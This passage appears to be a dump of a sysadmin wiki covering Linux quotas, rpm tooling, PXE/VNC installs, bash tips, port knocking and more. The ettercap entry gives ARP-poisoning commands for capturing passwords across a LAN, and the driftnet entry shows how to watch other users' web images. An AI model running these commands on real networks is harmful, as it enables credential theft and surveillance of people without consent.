changes and sets various things to immutable this however can cause issues that appear to be rpm database issues to disable this run #les -da you can now install rpms and - amazing - no errors options usage usr local sbin les option off on;0 1 -da --disable-all disable all options -ea --enable-all enable all options -sb --secure-bin set root only execution of critical binaries -sp --secure-path set root only traversal of critical paths -sr --secure-rpmpkg set immutable on core rpm package binaries -so --secure-prof set immutable on interactive login profiles -sd --secure-devel set access to devel utils for group deva & root this first link has some good steps to take on trouble shooting valid corrupt rpm database issues which can be handy the les security tool is available from '),(94,'wiki markup tips','  general text effects   \'s_guide _editing_overview note well will make bullet points like this # will create basic outlining ## with subsections ## and soforth you can sue either # or the same way note well here is a single bullet # here is text offset with numbers ## here is the next subsection ## and so forth here is text offset with bullets here is the next part and here is the next '),(95,'ssh secure shell','  ssh control hotkeys  then help menu then disconnect session then # list forwarded connections  ncsa site on ssh error  oo many authentication failures for username '),(96,'linux file system quotas',' general info to check quotas of a user type repquota -a this will show a list of all users and the quotas assigned to them in kb to show the limits in mb use usr sbin repquota -a -s report for user quotas on device dev md3 block grace time 7days; inode grace time 7days block limits file limits user used soft hard grace used soft hard grace ---------------------------------------------------------------------- root -- 32836 0 0 4 0 0 ed -- 6617996 6900000 7000000 17397 0 0 deb -- 788068 0 0 11509 0 0 matt -- 44 0 0 11 0 0 while the report is easy to read a few points should be explained the -- displayed after each user is a quick way to see whether the block or inode limits have been exceeded if either soft limit is exceeded a will appear in place of the -; the first character representing the block limit and the second representing the inode limit to change the quota for a user type usr sbin edquota username this command will bring you into a vi editor so you can edit the user user\'s quotas change the soft and hard limits to what the customer is provisioned for the soft limit should be about 10 less than the hard limit if the soft limit is exceeded the customer will receive and email notification see below you don\'t have to be exact on these limits if you are not sure of the hard limits you can calculate them or look at the limits for another customer who has the same amount of space and use the same calculating the block number is easy because the quota system uses 1kb per block therefore you just need to convert the amount of space to kilobytes e g 10gb 10485760 you get this by doing the following 10gb x 1024mb gb x 1024kb mb 10485760kb disk quotas for user user1 uid 501 filesystem blocks soft hard inodes soft hard dev hda5 1944 0 0 120 0 0 blocks 1k blocks inodes number of entries in directory file soft max number of blocks inodes user may have on partition before warning is issued and grace persiod countdown begins if set to 0 zero then no limit is enforced hard max number of blocks inodes user may have on partition if set to 0 zero then no limit is enforced user notifications & soft limits user notifications & soft limits user notifications & soft limits we want users to be notified if they approach their limits if they cross the soft limit they should receive an email after the grace period all you need do when making updating accounts is 1 ensure the soft limit is set to 10 - the hard limit just eye ball it 2 verify there is a forward file in the user user\'s home directory this is automagically created if you use the addbackupuser sh script - normally in home sagotech the grace period is enabled globally not per user so you don\'t need to worry about that but can check it with usr sbin edquota -t  soft limit and hard limits   soft limit indicates the maximum amount of disk usage a quota user has on a partition when combined with grace period it acts as the border line which a quota user is issued warnings about his impending quota violation when passed hard limit works only when grace period is set it specifies the absolute limit on the disk usage which a quota user can\'t go beyond his hard limit  grace period   grace period is configured with the command edquota -t grace period is a time limit before the soft limit is enforced for a file system with quota enabled time units of sec onds min utes hour s day s week s and month s can be used this is what you\'ll see with the command edquota -t system response linux kernel 2 4 red hat 7 1 fedora grace period before enforcing soft limits for users time units may be days hours minutes or seconds filesystem block grace period inode grace period dev hda5 7days 7days running quotacheck manually running quotacheck manually running quotacheck manually note quotacheck runs at boot time automatically also users quotas are dynamically updated as additions deletions are made to the folders normally you do not have to run it manually though if the quote files are corrupt or you have manually run an fsck you may have to see man quotacheck for more info quotecheck will create new quota info files in the root of the quota enabled partition named rw------- 1 root root 17k may 27 09 08 aquota group -rw------- 1 root root 18k may 27 09 22 aquota user to run it manually ensure the mta sendmail exim etc is running first so that notifications can be sent out to check if any customers have open files usr sbin lsof grep backup #or whatever the mount point is called turn off quotas on the mount point temporarily or use force on quotacheck - not recomended root storage1 backup # sbin quotacheck -avug quotacheck quota for users is enabled on mountpoint backup so quotacheck might damage the file please turn quotas off or use -f to force checking root storage1 backup # sbin quotaoff -v dev sda9 dev sda9 backup group quotas turned off dev sda9 backup user quotas turned off if you get an error that the device is busy you may be trying to turn quotas on off when they are already so now run the quota check itself root storage1 backup # sbin quotacheck -avug quotacheck scanning dev sda9 backup get some coffee when complete turn quotas back on root storage1 cron weekly # sbin quotaon -v dev sda9 dev sda9 backup group quotas turned on dev sda9 backup user quotas turned on email notifications email notifications email notifications usr sbin warnquota -ugs - s argument will send summary in mb and not kb - email warnings are triggered by warnquota - warnquota takes its configuration in etc warnquota conf - warnquota is ran daily by default etc cron daily quota etc quotagrpadmins contains information for group admin notification note quota enabled partitions warnquota checks are specified in etc quotatab by default additional references additional references additional references red hat - general quota information quota checking script perl script to notify users over quota '),(97,'freebsd frenzy live cd',' most of us have already used the frenzy live cd in playing with it more the other day i found it actually has a lot more to it than i realized and can be a pretty useful tool - especially since most people here are bsd fanatics and love freebsd  if you play around in x you will actually find it directs you by launching various terminal tools thus you learn tools you may not have known about before   here are some features you may find useful x windows tools x windows tools x windows tools frenzy has x installed and you can start it just like with riplinux - just do #startx there are a lot of tools built in already check out system--- mount--- mount all unmount all you can auto mount all detected partitions in ro or rw mode sweet system--- disk--- di shows disk partition labels and mount points system--- file tools--- ms windows--- chntpw xmbmon - motherboard monitor cpu temperature etc other goodies ethereal ettercap and other networking dns sniffer tools are available system & ssh network config system & ssh network config system & ssh network config networktools--- to configure nic etc in a terminal you can also run sysinstall from here you can reconfigure things start ssh configure the interfaces etc these commands are very handy in the terminal or in an x terminal sysinstall servconf netcong another interesting command is fdisk-linux you will need to mount proc first and supply a partition name fdisk-linux dev ad01sa adding packages adding packages adding packages in addition to using portsnap as covered in steps 2 -5 of freebsd ports & cpanel installs you can also add packages directly using the very impressive bsd repos you do so using #pkg_add -r package vnc setup vnc setup vnc setup setting up frenzy for vnc acces is extremely simple 1 edit root vnc xstartup and change the window manager from twm to xfce 2 start the vnc server #vncserver 3 it will tell you the ip and display number 4 connect to it using vncviewer kill it with #vncserver -kill 1 to kill display 1 '),(98,'iptables - pain on a stick',' some stuff to know about iptables and how to configure it '),(99,'driftnet and webcollage','  intro  driftnet is an amazingly clever tool to see what web images are being viewed by users on your local network from the man page  driftnet watches network traffic and picks out and displays jpeg and gif images for display it is an horrific invasion of privacy and shouldnu8e28099t be used by anyone anywhere it has been described as u8e28098a graphical tcpdump 8 u8e28099 u8e28098etherpeg for unixu8e28099 and called all sorts of nasty names by people on freshmeat it is also possible to use driftnet to capture mpeg audio data from the network and play it through a player such as mpg123 1   webcollage is usually installed with xscreensaver and can be used to import images from driftnet into a screensaver a deadly duo  installing  #sudo apt-get install xscreensaver-data xscreensaver-data-extra driftnet start driftnet and specify your interface if needed #driftnet -i eth2 to configure xscreensaver launch xscreensaver and goto the section for webcollage if it says not installed verify you have installed the additional packages above in xscreensaver click on settings for webcollage then advanced in the command line box you can specify to use driftnet as the source for images with something like webcollage -root -driftnet \' usr bin driftnet -i eht2\' references where webcollage comes from this is a separate project but also pretty cool '),(100,'linux package managers',' so many different ways of doing the same thing with tricky aspects to boot here are some notes regarding package managers and dependency resolution used by different distros  for a summary  showing how to do the most common operations on various distros see this great pacman summary rpm tricks rpm tricks rpm tricks --replacepkgs #install it anyway --oldpackage # upgrade to an older version of a package --repackage # be able to revert to prior installs note when installing repacked rpms you may need to disable digest and md5 checking for example rpm -uvh --nodigest --nomd5 var spool repackage vmware-vpxa-4 1 0-258902 i386 rpm for more info see the above linux journal article and this post rebuild an rpm from a currently install package some simple examples of using rpm query tags can be found here to remove a specific architecture if you have multiple ones installed is simply rpm -e zlib i386 or rpm -e zlib x86_64 open suse open suse open suse for a quick guide on zypper see this basic tutorial lots of options zypper is the default but smart and yast are installed by default don\'t want to use them because you are used to yum no problem just install yum though you may have to set up repos for it separately as zypper use separate repos d directories in etc zypp repos d whereas yum yum\'s are in etc yum repos d zypper lacks the equivalent to yum localinstall however smart will resolved dependencies when installing local packages smart should you need to turn off gpg signature checking smart config --set rpm-check-signatures false do what you need to do smart config --set rpm-check-signatures true yes yes - amazingly unsafe etc etc yum zypper install yum will install yum and set up repos in etc yum turn off gpg validation gpgcheck 0 in etc yum yum conf only if needed and you trust the source of the rpm of course install rpms locally and resolve needed dependencies by using yum localinstall package rpm note that you must first install yum-utils to have the localinstall feature verify rpms verify rpms verify rpms to ensure an rpm you downloaded is not corrupted verify its self-consistency with rpm -k --nopgp rpm rpm gpg signatures rpm gpg signatures rpm gpg signatures if a package is not signed you can sign it yourself or turn of gpgcheck in yum conf in order to sign packages you need to configure a gpg key and then create a file in the users home directory which contains some environmental variables used by gpg to sign packages 1 run gpg --gen-key to create a gpg key which will be stored in gnupg in your home directory 2 to see the list of keys in your key ring run gpg --list-keys which will produce output similar to pub 1024d 34e16df5 2008-11-16 uid joe blow gpg key to sign stuff locally sub 2048g 7031624d 2008-11-16 2 create an rpmmacros file in the home directory which contains _signature gpg _gpg_path root gnupg _gpg_name 34e16df5 _gpgbin usr bin gpg note the  34e16df5  value is the pub key id given in the gpg --list-keys output above to verify the signature of an rpm use rpm --checksig u8e28093verbose package rpm for additional information on gpg and rpms see creating yum repo server creating yum repo server creating yum repo server instructions for creating your own yum repo server '),(101,'ettercap sniffer',' invoking ettercap #ettercap -t -m arp remote 192 168 1 1 192 168 1 100 invokes with -t text interface also available are -c curses and -g gui launches an arp poisoning attack between the two designated systems a quick how to for text curses and gui modes can be found at text mode this is the easiest to use and i think the easiest on the eye to arp poison the whole lan capturing passwords as you go use # ettercap -tq -m arp remote t text mode q quiet - without this you\'ll see the raw packets which can be noisy and annoying m man-in-the-middle arp arp poisoning remote forward packets destined for the wan internet whatever empty target specification; i e all hosts use \'q\' to quit if you want to only do hosts 10 0 0 3 10 0 0 5 10 0 0 6 and 10 0 0 7 then you could use # ettercap -tq -m arp remote 10 0 0 3 5-7 or # ettercap -tq -m arp remote 10 0 0 3 10 0 0 5-7 curses mode this is the one with the cursed interface use # ettercap -c and then select the following options sniff- unified sniffing eth0 or whatever you i f spec is hosts- scan for hosts start- start sniffing mitm- arp poisoning remote view- connections mitm- stop mitm start- stop sniffing start- exit to quit gtk mode this is the one with the gtk interface use # ettercap -g then follow the same steps as for the cursed interface kev _________________ _please_ don\'t play on other people people\'s networks; you wouldn\'t like it if they played on yours filters filters filters to make filters to inspect and re-craft traffic see this example of making a filter in ettercap also see the forums at remote exploit and the ettercap forum for additional information on filters man in the middle defense man in the middle defense man in the middle defense this site contains arpwatch which allows you to monitor and log ip to arp mapping occuring on layer 2 and thus detect arp poisoning and man in the middle attacks #wget references references references pretty good intro information here etc '),(102,'rpm install timeline report','  system package timeline  what packages where installed last when  exactly  and in what sequence what just happened with this server anyway i bet someone installed something sure yum log show things installed with yum but excludes manually installed rpms frequently the cause of the trouble now or maybe the yum log is gone or you don\'t trust it perhaps some script kiddie just rooted the box and rpm installed some interesting things etc maybe some rpms were just updated but not using yum etc  my timeline vision  i wanted to make a command that would show in reverse sequence by year then month day and time all in correct order with no jumping around in actual complete reverse chronological order all rpms installed on a system by looking at the head of this output you could see exactly what rpms had been recently installed going backward in time day by day and hour by hour to the original system install if necessary the idea was to create a complete rpm install time line and have it show all installs relative to each other with no anarchronisms it was a bit trickier than i thought to get the sort order correct but after playing with the arguments i had it worked out also fun was using the rpm query tags feature --qf so i could select out only the attributes i wanted displayed - the rpm name version and date of install - ignoring all else for a very concise list this does the trick callandor # rpm -qa --qf \' installtime date installed name version n\' awk \' print 5 2 3 1 4 6 7 8 \' sort -k 1 1nr -k 2 2mr -k 3 3nr -k5 5dr head -10 note - date format see the section below on date format - this assumes you are using posix dates and times if you are not then the above will likely not work and you will get no output change your environment variables to posix or modify the awk statement for your environment this will list every single rpm install registered in the database in reverse sequence 2008 may 30 fri 18 12 49 installed yum-utils 1 1 6 2008 may 29 thu 20 39 36 installed yumex 1 9 11 2008 may 29 thu 20 39 33 installed yum 3 2 4 2008 may 29 thu 20 39 30 installed yum-metadata-parser 1 1 2 2008 may 29 thu 20 39 28 installed python-urlgrabber 3 1 0 2008 may 29 thu 20 36 54 installed ettercap-ng 0 7 3 2008 may 29 thu 20 35 52 installed libexpat0 1 95 8 2008 may 29 thu 20 33 50 installed libnet 1 1 2 1 2008 may 29 thu 20 19 54 installed knockd 0 5 2008 may 29 thu 20 19 52 installed knock 0 5 the posix sort tags are explained here -k 1 1nr sort first on field one year n umerically r everse order -k 2 2mr sort next by field two month - but not alphabetically not apr july june may but rather in m onth order but again r eversed - so nice of them to include a month sorting feature -k 3 3nr sort next by field three day again in numeric order and reversed - puts all days in actual calendar order -k 5 5dr sort install time as d phone book style processing - ignore anything other than numbers and letters so ignore the seperator and r everse the order - this allows the install time to be sorted correctly down to the hour minute and second level actually you don\'t need to specify the -k5 5 part; just a closing -dr argument will do had the magic missing pieces that helped to figure this out  filtering specific packages  you can easily add additional grep statements to focus on specific packages rather than all installed rpms here we select out any package having to do with mysql regardless of the case of the package name last years on bottom - recent months on top callandor # rpm -qa --qf \' installtime date installed name version n\' awk \' print 5 2 3 1 4 6 7 8 \'  grep -i mysql  sort -k 1 1nr -k 2 2mr -k 3 3nr -k5 5dr head -40 this adds the package version number and greps my any mysql packages 2008 apr 15 tue 22 06 49 installed bytefx-data-mysql 1 2 5 2008 feb 12 tue 23 52 08 installed mysql 5 0 45 2008 feb 12 tue 23 51 05 installed mysql-client 5 0 45 2008 feb 12 tue 23 43 39 installed libmysqlclient_r15 5 0 45 2008 feb 12 tue 23 43 33 installed libmysqlclient15 5 0 45 2008 jan 23 wed 10 45 33 installed php5-mysql 5 2 5 2007 oct 28 sun 13 18 54 installed mysql-administrator 5 0r12 2007 oct 28 sun 13 17 21 installed mysql-gui-tools 5 0r12  rpm query tags  you can easily add more fields from the rpm database using query tags here i am only using installtime name and version however there are dozens of tags to pick from in the rpm database you can create some pretty customized reports with them to see all the tags available rpm --quarytags  date format  if the above example does not execute for you ensure your date format is set to posix and not utf8 i am using posix dates to have the month name displayed etc otherwise the awk command will filter on the wrong fields and you will get no output check your bash environment variable usually called lang or lc_time to see your current setting #echo lang or #echo lc_time set it temporarily with #export lang posix to make the change permenant add this line to your bashrc file in your home directory the difference is illustrated here -rw-r----- 1 root root 460k may 31 15 21 messages this is posix date format -rw-r----- 1 root root 460k 2008-05-31 15 21 messages this is utf8 date format some great commands for environmental commands are #env #set show all current bash and environmental settings #locale will show all localization settings #locale -a shows all available languages to choose from #export lang ru_ru utf8 sets all localized settings to russian utf8 you can set each localization variable sepratly as well '),(103,'bash sorting and filtering data',' '),(104,'vnc pxe remote install',' customer os installs customers can now install centos 5 and suse themselves set up their partitions select their packages for suse etc via vnc connection to the network installer just as though they were doing it from cd we can also take advantage of this ourselves if you want to just vnc to the installer from the noc and not have to make multiple trips back to the dc especially for suse this is possible as you can start a vnc server as a boot option in the installer it is very easy you can start the pxe install on the install network like normal once the installer is up you can move them from the install vlan back onto their port and put the public ip on the interface these installs still use our sago pxe kickstart configurations as far as mirrors to use etc so you will not have to enter any of that information currently the centos one post installs removes packages and installs the alt-f8 hack just like from normal pxe procedures are slightly different for centos 5 and suse 10 3 so both are given separately  procedure   centos 5 installs centos 5 installs centos 5 installs 1 start the pxe install like normal choose centos5 from the  first  pxe menu however add these boot options #centos5 vnc vncpassword whatever 2  note   if you want to use the text interface not the gui and don\'t need to have vnc you can just add the text option as a boot option #centos5 text 3 once the installer loads it will display the ip and vnc display number 1 and state you can connect using a vnc client the ip will be a 192 network ip on the install network at this point 4 change the ip on the interface with ifconfig just ctl-alt-f2 or use another tty and give it the public ip #ifconfig 66 118 140 100 #route add default gw 66 118 140 1 etc resolv conf should still have the name servers from dhcp so it should be okay 5 test that you can ping and resolve out now on the public ip you have to be able to resolve names for the mirrors so check now ping google com 7 you can now connect to the vnc server and continue the install use a vncviewer and just put in the public ip and display number #vncviewer 66 118 140 100 1 8 continue the install over vnc 9 you can of course set up partitioning etc in the gui installer then continue thorough the install the next to last screen is the running post install scripts this step can take some time so be patient the final screen is a post install release notes with a reboot button reboot now 10 after rebooting the ip will need to be permanently set so console back in and run #system-config-network or just manually make the interface file etc 11 supportd alt-f8 hack is already installed you are done suse vnc installs suse vnc installs suse vnc installs additional information on suse yast etc can be found at suse 10 3 network install 1 start the pxe install like normal select suse from the first menu however add these boot options suse vnc 1 vncpassword whatever must be 8 characters min 2  note   if you want to use the text interface not the gui and don\'t need to have vnc you can just add the text option as a boot option centos5 text 3 once the installer loads it will display the ip and vnc display number 1 and state you can connect using a vnc client the ip will be a 192 network ip on the install network at this point 4 change the ip on the interface with ifconfig just ctl-alt-f2 or use another tty and give it the public ip ifconfig 66 118 140 100 route add default gw 66 118 140 1 etc resolv conf should still have the name servers from dhcp so it should be okay 5 test that you can ping and resolve out now on the public ip you have to be able to resolve names for the mirrors so check now ping google com 6 network troubleshooting mii-tool is not installed on suse but the newer ethtool is you can use this to check and set speed and duplex if needed ethtool eth0 ethtool -s ethtool etc 7 you can now connect to the vnc server and continue the install use a vncviewer and just put in the public ip and display number #vncviewer 66 118 140 100 1 also suse has a java web client so you can goto in a java capable browser - fancy 8 continue the install over vnc 9 you can of course set up partitioning etc in the gui installer then continue thorough the install 10 once at the installation summary step of the installation section you can click on the software link or click the expert tab and then the link for the section you want to modify add additional packages by clicking on software lamp stack console tools etc you can of course always add packages using yast after the install  note   after the first few screens the system has to reboot and then continue in vnc mode this means it will loose the ip so you have to console it and set it up again as in step 4 again then reconnect with vnc like in step 7 and continue 11 continue the install via vnc set the root pw the host name set up the permanent networking ip information gw and stuff in the installer set the ip from network settings link on the installation options screen set the default gateway here too under the routing tab of network settings 12 when complete reboot yast is now available in the shell for any other post install configuration etc 13 all suse installs should include installing the packages using yast using yast gui or zypper cli install these packages yast --- software -- software managemnet iputils mtr nano openssh vim screen wget debian remote installs debian remote installs debian remote installs vnc installs unlikely with debian ubuntu pxe boot options ubuntu pxe boot options ubuntu pxe boot options ubuntu server pxe installs on some boards will cause an error along the lines can not activate the frame buffer this eventually times out and the install continues to prevent this simply pass a boot option vga normal misc references misc references misc references novell site on doing a vnc install in vm ware '),(105,'wubi compaq notebook',' various notes about wubi and ubuntu running on my compaq evo n180 essentially the same as a compaq 2700 s video out s video out s video out the s video was not correctly recognized under 8 04 by default although displayconfig-gtk showed the secondary video source it was of type unknown and would not activate researching quickly yielded a good solution the video chipset in this notebook is root lewstherin-laptop # lspci grep ati 01 00 0 vga compatible controller ati technologies inc radeon mobility m6 ly this was using the drivers ubuntu 8 04 installed by default just install a few things first sudo apt-get install xvattr mplayer displayconfig-gtk displayconfig is just to have it you will not really use it with the following scripts here is a script and description of added it to nautilus from the above link authored by chronographer  anywho here here\'s the script put it in gnome2 nautilus-scripts and then it should appear in a right click menu \'scripts oh you have to name it \'movie sh\' and then make it executable by right clicking it go to permissions and checking \'allow execution file as a program\' enjoy  # bin sh xrandr --addmode s-video 800x600 xrandr --output s-video --mode 800x600 --set tv_standard ntsc xvattr -a xv_crtc -v 1 usr bin mplayer -fs xvattr -a xv_crtc -v 0 xrandr --output s-video --off you should now have video on the tv and can play videos in mplayer etc to turn off s video use this of just killall xrandr xvattr -a xv_crtc -v 0 xrandr --output s-video --off you can make this into a script too like svideo off sh and place in the scripts folder as above # bin bash xvattr -a xv_crtc -v 0 xrandr --output s-video --off installing ati driver installing ati driver installing ati driver enable audio enable audio enable audio weird audio would work from headphone jacks but not speakers first updated the kernel and put restricted drivers back in sudo apt-get install linux-image-2 6 24-18-386 sudo apt-get install linux-restricted-modules- uname -r sudo apt-get install linux-ubuntu-modules-2 6 24-18-386 unpacking linux-ubuntu-modules-2 6 24-18-386 from linux-ubuntu-modules-2 6 24-18-386_2 6 24-18 26_i386 deb setting up linux-ubuntu-modules-2 6 24-18-386 2 6 24-18 26 update-initramfs generating boot initrd img-2 6 24-18-386 '),(106,'port knocking',' port knocking is one of those gems you come across every so often its method of operation is quite simple but the uses to which it can be put are very impressive essentially port knocking allows you to grant access for ssh and other services by using a predefined sequence of tcp or udp requests to ports these ports need not be open or allowed in a firewall as the port knocking daemon runs on the link layer and will receive the request regardless of the status of the port traditional port knocking using a preset sequence of ports and single packet authentication where a single encrypted packet is sent can be used for example normally you may have a service ssh ftp etc running on a predefined port this port is always open in the firewall so the service can be reached this also means the service is always exploitable as it is reachable wouldn\'t it be nice if all ssh connections were refused from all ips unless explicitly allowed or unless they send the magic knock this way you do not need to open your ssh port in your firewall for everyone it is opened on a per ip basis only after the client sends the magic knock the standard tool for implementing traditional port knocking is knockd which is pretty easy to configure and implement knockd is available as a package for nearly all major distros and requires setting up one config file usually etc knockd conf for operation note that installing the knockd package also install the knock client the client simplifies the process of sending the magic knock to open the receiving service you do not have to use this client and can use telnet netcat or other tools to simple knock on the ports as well the traditional method offers a good layer of additional security though if traffic to the server is monitored the knock sequence could potentially be sniffed and thus replayed this is where single packet authentication can take port knocking even further using encrypted non replayable packets you can also use port knocking to run an arbitrary command on the remote server by sending the magic knock sequence without having to log in at all  installing & configuring  knockd is most likely in your repos for your distro try there first the examples at the above site for how to configure the etc knockd conf are pretty self explanitory there is one note to add which is that some distors centos for example have an implicit deny all as the last iptable rule thus using the configs from the above site will not work as you must insert and not append the rules in knockd conf another web site for more information on these points is also if you have ssh running on a port other than 22 simply modify the commands to run to indicate the correct port here is a sample centos 5 knockd conf using the correct path to iptables with the ip rules being i nserted and not a ppended and with the ssh port used being 8888 -bash-3 00# cat etc knockd conf options logfile var log knockd log openssh sequence 7000 8000 9000 seq_timeout 10 tcpflags syn command sbin iptables -i input -s ip -p tcp --dport 8888 -j accept closessh sequence 9000 8000 7000 seq_timeout 10 tcpflags syn command sbin iptables -d input -s ip -p tcp --dport 8888 -j accept  testing   from a remote machine attempt to open the connection to the server root 66-160-0-19 # knock -v myserver com 7000 8000 9000 hitting tcp 66 180 80 80 7000 hitting tcp 66 180 80 80 8000 hitting tcp 66 180 80 80 9000 root 66-160-0-19 # ssh -p 8888 root myserver com root myserver com com\'s password you should be able to authenticate fine now the knock d log on the server can also be monitored #tail -f var log knockd log 2008-06-14 12 57 66 160 0 19 openssh stage 1 2008-06-14 12 57 66 160 0 19 openssh stage 2 2008-06-14 12 57 66 160 0 19 openssh stage 3 2008-06-14 12 57 66 160 0 19 openssh open sesame 2008-06-14 12 57 openssh running command sbin iptables -i input -s 65 110 52 190 -p tcp --dport 8888 -j accept  firewall   once this is configured you can disable your ssh port in your firewall yes you can easily lock your self out doing this if you are using apf set devel_mode 1 at the top of etc apf conf apf so that the firewall is flushed every 5 minutes thus you can reconnect after 5 minutes to make any corrections set devel_mode 0 when everything is working  references  a good site that lists various brute force ssh attacks and methods to mitigate them '),(107,'login monitoring',' to be written there are many tools available to monitor log in attempts '),(108,'bash tricks',' misc bash commands updatedb --prunepaths path1 path2 environmental variable prunepaths sets this as well hostname; ifconfig grep -m1 inet addr awk \' print 2 \';dmidecode grep -a 5 system information get the hostname primary ip address and serial number of a server - e g so you can print a label for it xargs vs exec xargs vs exec xargs vs exec find -name \'d zip\' -exec unzip ; find -name \' jpg\' -print0 xargs -0 unzip while this works it is computationally far more efficient to use xargs the -exec option spawns a separate process for each file whereas xargs finds all the files first then runs the unzip operation once on all target files if you have lots of special characters spaces etc in the file name you can use some fancy sed grep and xargs together to craft the input fed to xargs which otherwise can not process such for more example of using find to recursively set permissions see this post ah crap ah crap ah crap so you just unziped or untared a tar bomb lovely fortunately there are many ways to use timestamps to round up all that crap and do something with it one simple example might be for i in find -maxdepth 1 -ctime 0 ; do mv i tarbomb ;done determine outside ip address when behind nat with determine outside ip address when behind nat with determine outside ip address when behind nat with wget www whatismyip com automation n09230945 asp -o - -q history expansion history expansion history expansion to recall a previously entered argument paracelsus serenity echo one two three one two three paracelsus serenity one or paracelsus serenity 2 two or paracelsus serenity three copy a file using expansion paracelsus serenity cp downloads sitefinity pdf bak pretty bash colors pretty bash colors pretty bash colors adding color to etc motd bash color control sequences this site is helpful here is one using three control sequences 5 for blinking; 1 for bold; 41 for red background archimedes anduril echo -e \' 033 5;1;41mwarning 033 0m the last smart error was whenithappend hours ago use your judgement to tell if this is relevant use smartctl -a drive for more info \' sugarcrm install and admin notes control characters has more info on bash and entering control characters in vi etc make sure you enter ctrl v before typing the letter l ctrl v causes the next character to be interpreted as a control character in this case \' ctrl v l\' shows up as \' l\' other examples for single color foregrounds archimedes anduril echo -e \' 033 34m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 033 35m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 033 36m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 033 42m---------------blah------------- 033 0m\' ---------------blah------------- archimedes anduril echo -e \' 032 42m---------------blah------------- 033 0m\' u8e29692 42m---------------blah------------- archimedes anduril echo -e \' 033 32m---------------blah------------- 033 0m\' ---------------blah------------- color man pages color man pages color man pages they are just so much prettier than boring white ones you can download and compile the \'most\' pager and install that then add this to your bashrc export pager most note most 5 0 requires slang and slang-dev 2 0 0 another option is to use termcap verify you have termcap installed first and add values such as these to bashrc as described at # less colors for man pages export less_termcap_mb \' e 01;31m\' # begin blinking export less_termcap_md \' e 01;38;5;74m\' # begin bold export less_termcap_me \' e 0m\' # end mode export less_termcap_se \' e 0m\' # end standout-mode export less_termcap_so \' e 38;5;246m\' # begin standout-mode - info box export less_termcap_ue \' e 0m\' # end underline export less_termcap_us \' e 04;38;5;146m\' # begin underline that method worked fine in centos 4 7 but not suse 11 1 - different versions of less and one final option also did not work for me setterm settings setterm settings setterm settings some very helpful things can be found here such as setterm -blank 0 -powersave off -powerdown 0 xset s off enables or disables the sending of kernel printk messages to the console virtual consoles only useful if you get lots message from iptables firewall setterm -msg on off graphical dialogs graphical dialogs graphical dialogs xenity and kdialog provide methods by which you send output and receive input through graphical interfaces for gnome and kde they are very easy to use and install you can x forward this back to the user etc a basic tutorial can be found here '),(109,'nessus vulnerability scanner',' problems with connecting using the nessus client are often related to the ssl certificate these sites can help with that note the client has a config file located in home user nessusrc and nessusrc cert the ssl cert is made by running nessus-mkcert usually in opt nessue bin or whereever nessus was installed to the ssl authentication type is specified with the paranoi_level value in this config file '),(110,'ultima 4 for linux xu4',' ultima 4 is available for linux and os x and is the complete game fully playable it is not a recreation but uses the actual game files which origin systems has given to the community this is a true classic computer game one of the foundation stones of rpg gaming and it is great to see it still alive here is some good background on the game itself should you not be familiar with it you can download an rpm and source from the project home page this page also links to other projects such as ports for ultima 7 and 8 etc pretty cool stuff note that there are graphical improvements for anti-aliasing and be sure to check out the game options and advanced options which add features beyond the original game have teleportation hot keys and some other cheat codes if you like  installing in ubuntu  as u4 is not in any offical repo and as building it from source is slightly tricky due to the various dependencies you might be better to just use alien to make a deb package this was successfull for me with ubuntu hardy the steps were basically sudo apt-get install libsdl-mixer1 2-dev libsdl-mixer1 2 timidity sudo apt-get install alien sudo alien -d xu4-1 0beta3-1 i386 rpm sudo dpkg -i xu4_1 0beta3-2_i386 deb timidity and libsdl are needed for the software sound rendering and if i recall you need libsdl-mixer1 2-dev for one of the shared libs as well once installed you can launch it simply by running the u4 executable  installing in opensuse 10 3  installing the rpm allowed the game to run fine no issues sound required installing timidity and sdl_mixer and sdl_mixer-devel in yast after which sound worked fine  other cool ultima iv stuff  you can also check out some neverwinter nights modules which are ultima based themes and which look pretty cool  from the readme included with the source  there is some good stuff here you might miss if you just install the rpm or deb package so here it isl xu4 ----- prepare yourself for a grand adventure ultima iv sixteen times larger than ultima iii is a milestone in computer gaming lord british has produced a game to challenge not only your physical and mental skills but the true fabric of your character the evil triad of mondain minax and the hellspawn exodus have been vanquished and peace reigns throughout the land of britannia evil yet abounds but in isolated pockets and in the hearts of men a new age awaits the coming of one who can conquer evil on all frontiers through the mastery of both magic and the use of force daemons dragons and long-dead wizards still plague the countryside and must be destroyed the seeker on the path of the avatar will faces hostile groups composed of mixed enemy types and will survive such encounters only by strategic use of weapons and terrain earthly victories over seemingly impossible odds lead to the final conflict where the ultimate challenge -- the self -- awaits -- back cover of ultima iv box xu4 is a remake of the computer game ultima iv the goal is to make it easy and convenient to play this classic on modern operating systems xu4 is primarily inspired by the much more ambitious project exult linux is the primary development platform but it gets ported to windows and macos x regularly it should be trivial to port to any system with sdl support xu4 isn\'t a new game based on the ultima iv story -- it is a faithful recreation of the old game right up to the crappy graphics if you are looking for a game with modern gameplay and graphics this is not it -- yet new features that improve the gameplay and keep with the spirit of the original game will be added xu4 also tries to maintain strict compatibility with the original for its savegame files you can use a game saved in xu4 with the original and vice versa at least in theory compiling --------- note that you need libxml2 sdl the sdl development libraries & headers and the sdl_mixer library to compile timidity may be necessary on some platforms too assuming they are present type make in the src directory to build it an executable called u4 is created running ------- the actual data files from ultima 4 are loaded at runtime which means that a copy of ultima 4 for dos must be present at runtime fortunately ultima iv is available as closed-source freeware on the internet legally a copy is mirrored at xu4 sourceforge net download ultima4 zip and optionally u4upgrad zip and place them in the same directory as the u4 executable xu4 will read the ultima iv data files straight out of the zipfile xu4 searches for the zipfiles or the unpacked contents of the zipfiles in the following places - the current directory when u4 is run - a subdirectory named ultima4 of the current directory - usr lib u4 ultima4 - usr local lib u4 ultima4 the zipfile doesn\'t need to be unpacked but if it is xu4 can handle uppercase or lowercase filenames even on case-sensitive filesystems so it doesn\'t matter whether the files are named avatar exe or avater exe or even avatar exe at the title screen a configuration menu can be accessed by pressing \'c\' here the screen scale filter volume and other settings can be modified note the game must be restarted for the new settings to take effect these settings are stored in the file home xu4rc xu4 also accepts the following command line options -f - fullscreen mode -i - skip the intro go directly into the game -q - quiet mode - no music -scale n - scale the original graphics by a factor of n -filter n - use a filter on the scaled images; point 2xbi 2xsai and advancemame can be specified -v - verbose output; prints out information useful for troubleshooting ultima 4 documentation ---------------------- included with ultima 4 for dos as downloaded from one of the above sites are electronic copies of the 